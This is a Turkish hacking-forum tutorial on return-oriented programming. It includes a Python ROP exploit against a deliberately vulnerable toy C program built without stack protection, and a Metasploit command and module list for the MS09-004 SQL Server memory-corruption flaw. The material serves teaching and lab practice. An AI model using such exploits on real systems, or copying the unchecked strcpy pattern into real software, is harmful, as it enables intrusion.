☢ Return-oriented programming / Geri dönüş odaklı programlama / How ROP attacks? ☢

Cyberdown

Üye
21 Haz 2020
154
5
Merhaba,

Tanım:

Geri dönüş odaklı programlama ( ROP ), bir saldırganın yürütülebilir alan koruması ve kod imzalama gibi güvenlik savunmalarının varlığında kod yürütmesine olanak tanıyan bir bilgisayar güvenliğinden yararlanma tekniğidir .

Bu teknikte, bir saldırgan program kontrol akışını ele geçirmek için çağrı yığınının kontrolünü ele geçirir ve ardından makinenin belleğinde zaten mevcut olan ve "aygıtlar" adı verilen dikkatlice seçilmiş makine talimat dizilerini yürütür .Her gadget tipik olarak bir iade talimatıyla biter ve mevcut program ve / veya paylaşılan kitaplık kodu içindeki bir alt yordamda bulunur . Birbirlerine zincirlenmiş bu aygıtlar, bir saldırganın daha basit saldırıları engelleyen savunmalar kullanan bir makinede keyfi işlemler gerçekleştirmesine olanak tanır.
------------------------------
ÖRNEK VİDEO
------------------------------


[ame]https://www.youtube.com/watch?v=5FJxC59hMRY[/ame]​

İlgili Sistemin Algoritma Yapısı:

algorithm.png

Kod Yapısı:
420px-Call_stack_layout.svg.png

An-example-of-ROP-attack.png
435302_1_En_12_Fig2_HTML.gif

Örnek Exploitler:

Dipnot: Exploitlerin kullanımı sırasında oluşabilecek hata/ yasa dışı faaliyet/ herhangi illegal olay ve zararlı davranış türevlerinden kullanıcı mesuldür. ( Hiçbir sorumluluğu kabul etmem sadece akademik amaçlı paylaştım. )

Exploit.py

Kod:
# NOTE: For Python 2.7
import os
import struct

#Find gadgets
pop_ret = 0x08049ca5 # start address of a pop,ret sequence
pop_pop_ret = 0x08049ca4 # start address of a pop,pop,ret sequence
lazy = 0x08049b05 # objdump -d | grep lazy
food = 0x08049b30 # objdump -d | grep food
feeling_sick = 0x08049b92 # objdump -d | grep feeling_sick

#Buffer Overflow
payload = "A"*0x6c
payload += "BBBB"

#food(0xdeadbeef) gadget
payload += struct.pack("I", food)
payload += struct.pack("I", pop_ret)
payload += struct.pack("I", 0xdeadbeef)

#feeling_sick(0xd15ea5e, 0x0badf00d) gadget
payload += struct.pack("I", feeling_sick)
payload += struct.pack("I", pop_pop_ret)
payload += struct.pack("I", 0xd15ea5e)
payload += struct.pack("I", 0x0badf00d)

payload += struct.pack("I", lazy)

os.system("./simple-rop \"%s\"" % payload)

Makefile

Kod:
simple-rop: simple-rop.c
	gcc -m32 -O0 -g -static -fno-stack-protector $^ -o $@

.PHONY: clean

clean:
	rm -rf simple-rop

simple-rop.c

Kod:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char string[100];

// I might need this later. ¯\_(ツ)_/¯
// I'm not using it so it shouldn't affect anything.
**** lazy() {
  system(string);
}

**** food(int magic) {
  printf("THANK YOU!\n");
  if (magic == 0xdeadbeef) {
    strcat(string, "/bin");
  }
}

**** feeling_sick(int magic1, int magic2) {
  printf("1m f33ling s1cK...\n");
  if (magic1 == 0xd15ea5e && magic2 == 0x0badf00d) {
    strcat(string, "/echo 'This message will self destruct in 30 seconds...BOOM!'");
  }
}

**** vuln(char *string) {
  char buffer[100] = {0};
  strcpy(buffer, string); // I don't know any better.
}

int main(int argc, char** argv) {
  string[0] = 0;

  printf("m3 hUN6rY...cAn 1 haZ 5H3ll?! f33d mE s0m3 beef\n\n");
  if (argc > 1) {
    vuln(argv[1]);
  } else {
    printf("y0u f0rG0T t0 f33d mE!!!\n");
  }
  return 0;
}

Dosya Kaynağı:

Diğer exploit kaynakları:
https://github.com/topics/rop-exploits
Met-asploit Kullanıcısıysanız olası komut:
Kod:
[B]use exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli[/B]

Met-asploit Kullanıcıları İçin Olası Exploitler ( Konu İle İlgili Olanları ) :
Kod:
Matching Modules
================

   #  Name                                                      Disclosure Date  Rank       Check  Description
   -  ----                                                      ---------------  ----       -----  -----------
   0  exploit/windows/mssql/ms09_004_sp_replwritetovarbin       2008-12-09       good       Yes    MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption
   1  exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli  2008-12-09       excellent  Yes    MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection

Konu ile ilgili başka bir uygulama/ kodlama videosu::

[ame]https://www.youtube.com/watch?v=i5-cWI_HV8o[/ame]

Forum içerisinde ilgili konu ile alakalı bulunan konu:

https://www.turkhackteam.org/exploi...file-buffer-overflow-seh-rop.html#post9377914

Konu Yazarı: @THROOT

Algoritma ve mantığını iyi anlatan türkçe alt yazılı videolar:

VİDEO 1

[ame]https://www.youtube.com/watch?v=8Dcj19KGKWM[/ame]

VİDEO 2

[ame]https://www.youtube.com/watch?v=zaQVNM3or7k[/ame]​

Uygulama yapabileceğiniz makineler:


Makine 1:
https://www.vulnhub.com/entry/rop-primer-02,114/

Makine 2 :
https://www.vulnhub.com/series/rop-primer,61/

Konu ile ilgili wikipedia makale adresi:

https://en.wikipedia.org/wiki/Retur...mming (ROP),space protection and code signing.

Saygılarımla
İyi Çalışmalar Dilerim
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.